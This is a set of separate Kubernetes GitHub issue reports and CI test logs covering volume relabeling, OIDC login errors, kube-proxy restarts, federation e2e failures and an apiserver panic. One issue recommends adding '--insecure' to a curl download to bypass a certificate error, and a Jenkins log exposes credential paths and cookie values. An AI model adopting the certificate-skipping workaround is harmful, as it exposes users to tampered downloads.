<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : relabel, selinux, rbd\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-17t20:49:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal, selinux in permissive mode\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : 4.8.13-1.el7.elrepo.x86_64\r -   install tools  : \r -   others  : latest ceph rbd tools are installed on each node\r \r \r   what happened  :\r when kubernetes mounts a non read-only rbd volume, it seems to be doing it with the docker :z mount flag. which causes the docker daemon to relabel every file in the volume. in my case the volume contains over 100 million files, and it takes about 2 hours to run lstat and lsetxattr syscalls on every file. the docker daemon api hangs while this is happening.\r \r   what you expected to happen  :\r either: a way to mount the volume without forced relabeling or mounting the volume with \ -o context=\  so that no relabeling is needed.\r \r   how to reproduce it    as minimally and precisely as possible :\r create an rbd volume with lots of files. mount it inside a pod.\r \r   anything else we need to know  :\r i originally asked this question on kubernetes user's group: https://groups.google.com/forum/ !topic/kubernetes-users/qen25nmrquk\r

if i look at the code of azurefile plugin, it has _fsgroup_ as an argument, but don't see its usage anywhere\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_file/azure_file.go l196\r \r i also don't see anywhere explicitely stated that azurefile volume supports fsgroup.\r \r

triage failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html d5276d7aa136b62f6d24\r \r testgrid history: https://k8s-testgrid.appspot.com/google-node kubelet-non-cri-gce-e2e\r \r node owners:\r /assign @derekwaynecarr @dchen1107

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46500/pull-kubernetes-federation-e2e-gce/7569/\r \r    \r w0531 00:40:45.381  2017/05/31 00:40:45 util.go:129: running: ./federation/cluster/federation-up.sh\r w0531 00:40:45.443  project: k8s-jkns-pr-bldr-e2e-gce-fdrtn\r w0531 00:40:45.443  zone: us-central1-f\r i0531 00:40:45.544  +++  0531 00:40:45  deploying federation control plane for e2e-f8n-agent-pr-63-0 in cluster federation-e2e-gce-us-central1-f\r i0531 00:40:45.544  +++  0531 00:40:45  dns_zone_name: \ pr-bldr.test-f8n.k8s.io.\ , dns_provider: \ google-clouddns\ \r i0531 00:40:45.544  +++  0531 00:40:45  image: \ gcr.io/k8s-jkns-pr-bldr-e2e-gce-fdrtn/hyperkube-amd64:v1.7.0-alpha.4.837_4c654571549f99\ \r i0531 00:40:45.630  creating a namespace f8n-system-agent-pr-63-0 for federation system components... done\r i0531 01:00:45.530  creating federation control plane service..................................................................................................................dumping federation and dns pod logs to /workspace/_artifacts\r w0531 01:00:45.632  i0531 00:40:45.608190    3500 init.go:287  creating a namespace f8n-system-agent-pr-63-0 for federation system components\r w0531 01:00:45.632  i0531 00:40:45.630002    3500 init.go:296  creating federation control plane service\r w0531 01:00:45.632  2017/05/31 01:00:45 util.go:131: step './federation/cluster/federation-up.sh' finished in 20m0.094954274s\r w0531 01:00:45.632  2017/05/31 01:00:45 e2e.go:410: dumping federation logs to: /workspace/_artifacts\r w0531 01:00:45.632  2017/05/31 01:00:45 util.go:129: running: ./federation/cluster/log-dump.sh /workspace/_artifacts\r w0531 01:00:45.632  project: k8s-jkns-pr-bldr-e2e-gce-fdrtn\r w0531 01:00:45.632  zone: us-central1-f\r w0531 01:00:46.979  unable to connect to the server: x509: certificate signed by unknown authority\r w0531 01:00:47.097  unable to connect to the server: x509: certificate signed by unknown authority\r w0531 01:00:47.100  2017/05/31 01:00:47 util.go:131: step './federation/cluster/log-dump.sh /workspace/_artifacts' finished in 1.631920175s\r w0531 01:00:47.100  2017/05/31 01:00:47 util.go:129: running: ./federation/cluster/federation-down.sh\r w0531 01:00:47.146  project: k8s-jkns-pr-bldr-e2e-gce-fdrtn\r w0531 01:00:47.147  zone: us-central1-f\r w0531 01:00:47.332  error: context \ e2e-f8n-agent-pr-63-0\  does not exist\r i0531 01:00:47.433  cleaning federation control plane objects\r w0531 01:00:47.534  unable to connect to the server: x509: certificate signed by unknown authority\r w0531 01:00:47.707  unable to connect to the server: x509: certificate signed by unknown authority\r w0531 01:00:47.889  unable to connect to the server: x509: certificate signed by unknown authority\r i0531 01:00:48.068  +++  0531 01:00:48  waiting for 2 minutes to allow controllers to clean up federation components...\r w0531 01:02:48.072  2017/05/31 01:02:48 util.go:131: step './federation/cluster/federation-down.sh' finished in 2m0.971565169s\r w0531 01:02:48.073  2017/05/31 01:02:48 none.go:41: noop down  \r w0531 01:02:48.073  2017/05/31 01:02:48 main.go:161: saved xml output to /workspace/_artifacts/junit_runner.xml.\r w0531 01:02:48.073  2017/05/31 01:02:48 main.go:195: something went wrong: error starting federation: error during ./federation/cluster/federation-up.sh: exit status 124\r w0531 01:02:48.074  + /workspace/e2e-runner.sh:1 : main  : chmod -r o+r /workspace/_artifacts\r i0531 01:02:48.987  starting pull-kubernetes-federation-e2e-gce-7569...\r w0531 01:02:49.026  traceback  most recent call last :\r w0531 01:02:49.026    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 506, in <module>\r w0531 01:02:49.026      main create_parser  .parse_args   \r w0531 01:02:49.027    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 429, in main\r ... skipping 2 lines ...\r w0531 01:02:49.027      check  cmd \r w0531 01:02:49.027    file \ /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 40, in check\r w0531 01:02:49.027      subprocess.check_call cmd \r w0531 01:02:49.027    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0531 01:02:49.027      raise calledprocesserror retcode, cmd \r w0531 01:02:49.028  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm', '--name=pull-kubernetes-federation-e2e-gce-7569', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes/_artifacts:/workspace/_artifacts', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-e', 'home=/workspace', '-e', 'workspace=/workspace', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../platforms/gce.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../jobs/pull-kubernetes-e2e.env', '--env-file', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/./test-infra/jenkins/../scenarios/../jobs/pull-kubernetes-federation-e2e-gce.env', '-v', '/home/jenkins/.ssh/google_compute_engine:/workspace/.ssh/google_compute_engine:ro', '-v', '/home/jenkins/.ssh/google_compute_engine.pub:/workspace/.ssh/google_compute_engine.pub:ro', '-e', 'jenkins_gce_ssh_private_key_file=/workspace/.ssh/google_compute_engine', '-e', 'jenkins_gce_ssh_public_key_file=/workspace/.ssh/google_compute_engine.pub', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/6af0c076-71c2-44f0-a0d4-1487b0f70372/kubernetes-jenkins-pull-c67f9519f993.json:/service-account.json:ro', '-e', 'google_application_credentials=/service-account.json', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/release:/go/src/k8s.io/release', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/release:/go/src/k8s.io/release', '-e', 'jenkins_home=/var/lib/jenkins', '-e', 'build_cause=manualtrigger', '-e', 'pull_base_ref=master', '-e', 'hudson_url=http://goto.google.com/prkubekins/', '-e', 'build_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/7569/', '-e', 'bootstrap_migration=yes', '-e', 'cloudsdk_config=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/kubernetes/.config/gcloud', '-e', 'build_tag=jenkins-pull-kubernetes-federation-e2e-gce-7569', '-e', 'hudson_server_cookie=32617aabcc4952a0', '-e', 'jenkins_url=http://goto.google.com/prkubekins/', '-e', 'logname=jenkins', '-e', 'user=jenkins', '-e', 'job_name=pull-kubernetes-federation-e2e-gce', '-e', 'lang=en_us.utf-8', '-e', 'shell=/bin/bash', '-e', 'buildid=ef028d57-45d1-11e7-8980-0a580a6c1411', '-e', 'hudson_home=/var/lib/jenkins', '-e', 'node_labels=agent-pr-63 pull', '-e', 'job_url=http://goto.google.com/prkubekins/job/pull-kubernetes-federation-e2e-gce/', '-e', 'root_build_cause_manualtrigger=true', '-e', 'build_cause_manualtrigger=true', '-e', 'jenkins_aws_credentials_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/76410d48-2a34-497e-bada-6637a711ba54/kubernetespresubmittests.txt', '-e', 'root_build_cause=manualtrigger', '-e', 'ssh_client=10.240.0.2 55506 22', '-e', 'build_id=7569', '-e', 'build_number=7569', '-e', 'hudson_cookie=387ab928-930f-418e-a112-2f7925bb6d90', '-e', 'jenkins_aws_ssh_private_key_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/37ca6fdf-9266-47fb-9dd9-f27da28cabae/id_rsa.jenkins', '-e', 'jenkins_gce_ssh_private_key_file=/home/jenkins/.ssh/google_compute_engine', '-e', 'job_base_name=pull-kubernetes-federation-e2e-gce', '-e', 'nlspath=/usr/dt/lib/nls/msg/%l/%n.cat', '-e', 'jenkins_gce_ssh_public_key_file=/home/jenkins/.ssh/google_compute_engine.pub', '-e', '_=./test-infra/jenkins/bootstrap.py', '-e', 'jenkins_aws_ssh_public_key_file=/var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce@tmp/secretfiles/8b60977e-f8ed-4878-8865-75f05af9e2ce/id_rsa.jenkins.pub', '-e', 'executor_number=0', '-e', 'node_name=agent-pr-63', '-e', 'pull_number=46500', '-e', 'shlvl=2', '-e', 'jenkins_server_cookie=32617aabcc4952a0', '-e', 'build_display_name= 7569', '-e', 'pull_refs=master:77a8c258391f30bb1d99c8eef0aba79218eaa445,46500:9ed01e44a14e52ec8460b0282930b44964940972', '-e', 'xfilesearchpath=/usr/dt/app-defaults/%l/dt', '-e', 'mail=/var/mail/jenkins', '-e', 'ssh_connection=10.240.0.2 55506 10.240.0.43 22', '-e', 'cloudsdk_component_manager_disable_update_check=true', '-e', 'cloudsdk_experimental_fast_component_update=false', '-e', 'e2e_up=true', '-e', 'e2e_test=true', '-e', 'e2e_down=true', '-e', 'e2e_name=e2e-gce-agent-pr-63-0', '-e', 'kube_aws_instance_prefix=e2e-gce-agent-pr-63-0', '-e', 'instance_prefix=e2e-gce-agent-pr-63-0', '-e', 'kube_gce_network=e2e-gce-agent-pr-63-0', '-e', 'kube_gce_instance_prefix=e2e-gce-agent-pr-63-0', '-e', 'cluster_name=e2e-gce-agent-pr-63-0', '-e', 'kube_gke_network=e2e-gce-agent-pr-63-0', 'gcr.io/k8s-testimages/kubekins-e2e:v20170525-59b0e879', '--build', '--stage=gs://kubernetes-release-pull/ci/pull-kubernetes-federation-e2e-gce', '--multiple-federations' ' returned non-zero exit status 1\r e0531 01:02:49.029  build failed\r

is this a bug report or feature request?  : bug report\r \r \r   what happened  :\r i have configured oidc with kubernetes. but when i try  kubectl --user=spnzip@gmail.com get nodes  i get  error from server  forbidden : user \ system:anonymous\  cannot list nodes at the cluster scope.  get nodes \r  \r \r   what you expected to happen  :\r the command should authenticate user and display the nodes \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install single node kubernetes cluster with kubeadm\r 2. obtain client secrets with the k8s-oidc-helper tool\r k8s-oidc-helper -c <path where user's client id and secret is stored \r 3. copy paste the code generated to ~/.kube/config file\r    \r - name: spnzig@gmail.com\r   user:\r     auth-provider:\r       config:\r         client-id: xxxxxxxxxx-xxxxxxx.apps.googleusercontent.com\r         client-secret: xxxxxxxxxxxxxxxxxxxxxxx\r         id-token: eyjhbgcioijsuzi1niisimtpzci6ijczmtdkotm1mwq1y .... njzaiwlmaafefirgpy-49tq\r         idp-issuer-url: https://accounts.google.com\r         refresh-token: 1/3xpbqpd...g8punps\r       name: oidc\r    \r \r 4. set the context for the new user in ~/.kube/config file\r    \r - context:\r     cluster: kubernetes\r     user: spnzig@gmail.com\r   name: spnzig@kubernetes\r    \r \r 5. switch context from admin to new user\r  kubectl config use-context spnzig@kubernetes  \r  \r 6. run kubectl --user=spnzig@gmail.com get nodes to see the error \r  kubectl --user=spnzig@gmail.com get nodes \r \r   anything else we need to know?  :\r i have installed kubernetes on ubuntu 16.04lts.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r - cloud provider or hardware configuration  : hardware \r - os  e.g. from /etc/os-release : ubuntu 16.04\r - install tools: kubeadm, kubernetes, k8s-oidc-helper, go\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i upgraded my cluster from 1.7 -> 1.8.1 and realized that all my failure domain & region labels were gone. \r \r   what you expected to happen  :\r \r i expect those labels to remain\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r without a cloud provider  bare metal  or with the ccm, restart a 1.8.x kubelet and you'll see that the node is updated w/o the zone labels. \r \r   anything else we need to know?  :\r \r the offending commit that caused this issue is  here  https://github.com/kubernetes/kubernetes/commit/80156474cf46b919b5d4b51a4676dc395c3e90dc diff-6b0808bd1afb15f9f77986f4459601c2 . the external cloud providers will also be impacted by this since the labels will be removed; however, since the cloud taint is gone they will never attempt to add those labels back. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.x\r \r cc @mrincompetent @wlan0 @luxas @andrewsykim

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r the lru cache  responsecache  in this controller use  imagereviewspec   marshaled string as key. but   imagereviewspec  has map type field, and so the map json.marshal may output random value.  the lru cache can not work 100% perfectly. \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/imagepolicy/admission.go l148\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r webhook authorizer has the same issue. k8s.io\\kubernetes\\staging\\src\\k8s.io\\apiserver\\plugin\\pkg\\authorizer\\webhook\\webhook.go\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r kube-proxy will fail on executing iptables command if there is unmatched ip versions configuration  ipv6 address in ipv4 mode or ipv4 address in ipv6 mode .\r \r   what you expected to happen  :\r kube-proxy should filter out entries with incorrect ip version.\r \r /assign

 \r \r what happened:\r when i delete a job ,the pods which created by job do not be deleted. \r \r what you expected to happen:\r deleting a job will cleanup the pods it created.\r \r how to reproduce it  as minimally and precisely as possible :\r create a job which  have initcontainers and pod restart policy set onfailure。use restapi to delete job\r \r \r environment:\r kubernetes version:v1.6.7\r os: center os \r

hello everyone,\r \r i start the k8s master but it takes too much time. \r how can i fix this ??? because i saw no error.\r ! too long  https://user-images.githubusercontent.com/43220759/50488562-66f4a700-0a03-11e9-9384-301f7e6b35ca.png \r \r thank you in advances\r \r   ops\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r after upgrading to kube-proxy  1.12.5 , the clusterip will be disconnected when restarting kube-proxy. when a service uses clusterip to connect to other services, it will be affected. as shown in the figure, during the kube-proxy restart, the response time is obviously slower.\r ! image  https://user-images.githubusercontent.com/4145852/51508755-a317fd80-1e31-11e9-9995-febec4cfba0b.png \r \r when back to kube-proxy  1.11.4 , no this problem. this is the log, attention the time, kube-proxy restart at  10:27:09 , see the picture above, response time at the time is normal.\r    \r log file created at: 2019/01/22 10:27:09\r running on machine: k8s-node-pushd\r binary: built with gc go1.10.3 for linux/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r i0122 10:27:09.971242   14444 flags.go:27  flag: --alsologtostderr=\ true\ \r i0122 10:27:09.971512   14444 flags.go:27  flag: --bind-address=\ 0.0.0.0\ \r i0122 10:27:09.971521   14444 flags.go:27  flag: --cleanup=\ false\ \r i0122 10:27:09.971528   14444 flags.go:27  flag: --cleanup-iptables=\ false\ \r i0122 10:27:09.971532   14444 flags.go:27  flag: --cleanup-ipvs=\ true\ \r i0122 10:27:09.971536   14444 flags.go:27  flag: --cluster-cidr=\ \ \r    \r \r     another scene\r when use kube-proxy  1.12.5  , clusterip of  coredns  will also be disconnected, name resolve will failed\r ! image  https://user-images.githubusercontent.com/4145852/51509117-00f91500-1e33-11e9-8721-68fd275d237d.png \r \r \r   what you expected to happen  :\r clusterip won't lost connection when kube-proxy restart\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kube-proxy  1.12.5 \r \r   anything else we need to know?  :\r add flag   --cleanup-ipvs=false  ,  same result\r    \r log file created at: 2019/01/22 11:15:24\r running on machine: k8s-node-pushd\r binary: built with gc go1.10.7 for linux/amd64\r log line format:  iwef mmdd hh:mm:ss.uuuuuu threadid file:line  msg\r i0122 11:15:24.262837   27865 flags.go:33  flag: --alsologtostderr=\ true\ \r i0122 11:15:24.263066   27865 flags.go:33  flag: --bind-address=\ 0.0.0.0\ \r i0122 11:15:24.263075   27865 flags.go:33  flag: --cleanup=\ false\ \r i0122 11:15:24.263081   27865 flags.go:33  flag: --cleanup-iptables=\ false\ \r i0122 11:15:24.263085   27865 flags.go:33  flag: --cleanup-ipvs=\ false\ \r i0122 11:15:24.263089   27865 flags.go:33  flag: --cluster-cidr=\ \ \r    \r \r ! image  https://user-images.githubusercontent.com/4145852/51510351-b62dcc00-1e37-11e9-803d-8cd915320c9b.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.12.5\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :  centos 7\r - kernel  e.g.  uname -a  :  3.10\r - install tools:  manual\r - others:\r

two other notes - brian and i and a few others discussed defaulting and how that's technically the role of limitranger in general  to apply a default to a pod resource .  we discussed having limitrange evolve into podpolicy which is the more generic complement to podsecuritypolicy - to apply simple defaults to pods that are created.  things that could be defaulted / ranged per namespace: - node selector - pod labels - pod annotations - environment variables onto pods - specific secrets - generic security defaults  vs the more sophisticated defaulting in psp   not a truly generic solution _except_ it allows simple proscriptive control like node selector to be applied by a resource a regular user may not have access to change

would like to have hadoop hdfs as one of supported volumes  1  in kubernetes.  we have u se cases where we would like to allow process in container to access hdfs as supported volume rather than manually mount  via fuse .  seemed like it is already have glusterfs and other fs supported so i think it would be useful and    1  http://kubernetes.io/v1.1/docs/user-guide/volumes.html

i had an issue, with deploying kubernetes cluster on bare metal. kube-up.sh suddenly stopped after executing successfully download-release.sh. the reason was that the following command   curl -l -o https://storage.googleapis.com/kubernetes-release/easy-rsa/easy-rsa.tar.gz > /dev/null 2>&1 was failing due to not trusted certificate. workaround add   --insecure  .

hi,  we have a rather large spring application that can take up to 30/40 seconds to start. it is a spring application so its boot is very cpu intensive. we deploy this app in kubernetes  openshift actually . what we notice under load is that if a scale up event is triggered due to load,  sometime almost immediately another scale up event is alsotriggered. we aren't sure about the reason but we think that because the application start is so cpu intensive it triggers another scale event. sometime this causes a chain reaction that makes the application scale up to the maximum number of instances that we have configured in the hpa. we believe that a possible reason for that is this behavior is that cpu consumption is considered even before the pod is in ready state  based on the readiness probe .  thanks raffaele

the idea here is to make debugging of, e.g., runtime type issues easier.  for example @madhusudancs fixed  28615 in  29123, but finding the cause in the sea of e2e debug output was harder than it should be.  there are motivations for monitoring panics in production, too.  pointers to starting points  via @davidopp   > that said, you can find some general documentation here > https://github.com/kubernetes/kubernetes/blob/87d3c7471566837b7d59e6410497548125488900/docs/devel/instrumentation.md > and the e2e test framework does have code to collect prometheus metrics, for example search for \ prometheus\  in > test/e2e/framework/kubelet_stats.go > test/e2e/framework/metrics_util.go > test/e2e/framework/prompush.go > test/e2e/framework/test_context.go >  i'm not sure which tests are actually collecting prometheus metrics, though.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.4-container_vm-1.5-upgrade-master/19/  multiple broken tests:  failed:  k8s.io  v1job should fail a job  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc8201a8a00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:201     issues about this test specifically:  37427   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc8201a8a00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:197     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 failed to update the first deployment's overlapping annotation expected error:     < errors.errorstring | 0xc8201a8a00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1244     issues about this test specifically:  31502  32947   failed:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:67 expected     <int>: 0 to equal     <int>: 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:59     issues about this test specifically:  31277  31347  31710  32260  32531   failed:  k8s.io  kubectl client  k8s.io  simple pod should support exec through an http proxy {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:358 dec  8 01:33:48.918: unexpected kubectl exec output. wanted \ running in container\ \ , got  \ \  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:347     issues about this test specifically:  27156  28979  30489  33649

https://github.com/kubernetes/kubernetes/pull/38844 added kubectl tests with federation apiserver, but did not enable them for replicasets since they were failing. we need to debug the issue, fix it and then enable the tests for replicasets.\r \r here is the corresponding todo that needs fixing: https://github.com/kubernetes/kubernetes/blob/f74b4bbbad5463aa35b5d4d769b80db19cf12ee0/hack/make-rules/test-federation-cmd.sh l77\r \r related issue for deployments: https://github.com/kubernetes/kubernetes/issues/39985\r \r cc @kubernetes/sig-federation-bugs

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion:\ v1.3.9-ee10669\ , gitcommit:\ ee10669e21109f86c21e8f7ceb1187d7910fe120\ , gittreestate:\ clean\ , builddate:\ 2016-10-26t17:13:55z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.9\ , gitcommit:\ ee10669e21109f86c21e8f7ceb1187d7910fe120\ , gittreestate:\ clean\ , builddate:\ 2016-10-20t20:37:18z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal @ box\r -   os    e.g. from /etc/os-release : scientificlinux 6\r -   kernel    e.g.  uname -a  :  linux compute-master1001.ve.box.net 3.10.0-229.14.1.el7.x86_64  1 smp tue sep 15 05:09:55 cdt 2015 x86_64 x86_64 x86_64 gnu/linux\r  \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r following a series of apiserver crashes, controller-manager deleted all default service account tokens. a subset of pods were deleted too, but they came back up in a wedged state because the pods still referenced old, deleted service account tokens.\r \r apiserver crash:\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal 0xb code=0x1 addr=0x0 pc=0x1a7727a \r  \r goroutine 1844215  running :\r panic 0x3275920, 0xc820014070 \r         /usr/local/go/src/runtime/panic.go:481 +0x3e6\r container/list.  list .movetofront 0xc820867980, 0xc86fc18c60 \r         /usr/local/go/src/container/list/list.go:169 +0x22a\r k8s.io/kubernetes/vendor/github.com/golang/groupcache/lru.  cache .get 0xc82087f380, 0x294b100, 0xc84ee366f0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/groupcache/lru/lru.go:79 +0xa4\r k8s.io/kubernetes/pkg/util/cache.  lruexpirecache .get 0xc82087f3a0, 0x294b100, 0xc84ee366f0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/cache/lruexpirecache.go:51 +0xb7\r k8s.io/kubernetes/plugin/pkg/auth/authorizer/webhook.  webhookauthorizer .authorize 0xc82087f3c0, 0x7f4e78f47218, 0xc8508283c0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/auth/authorizer/webhook/webhook.go:156 +0x543\r k8s.io/kubernetes/pkg/auth/authorizer/union.unionauthzhandler.authorize 0xc82086cf20, 0x2, 0x2, 0x7f4e78f47218, 0xc8508283c0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/auth/authorizer/union/union.go:36 +0xf2\r k8s.io/kubernetes/pkg/auth/authorizer/union.  unionauthzhandler .authorize 0xc82086cf40, 0x7f4e78f47218, 0xc8508283c0, 0x0, 0x0 \r         <autogenerated>:1 +0xc1\r k8s.io/kubernetes/pkg/apiserver.withauthorizationcheck.func1 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:484 +0x9f\r net/http.handlerfunc.servehttp 0xc82086ac40, 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.withimpersonation.func1 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:421 +0xfe\r net/http.handlerfunc.servehttp 0xc82086acc0, 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/auth/handlers.newrequestauthenticator.func1 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/auth/handlers/handlers.go:70 +0x2f3\r net/http.handlerfunc.servehttp 0xc8202ad860, 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/api.newrequestcontextfilter.func1 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101 +0x157\r net/http.handlerfunc.servehttp 0xc82086df80, 0x7f4e78f47130, 0xc8336a3040, 0xc85f57f960 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r 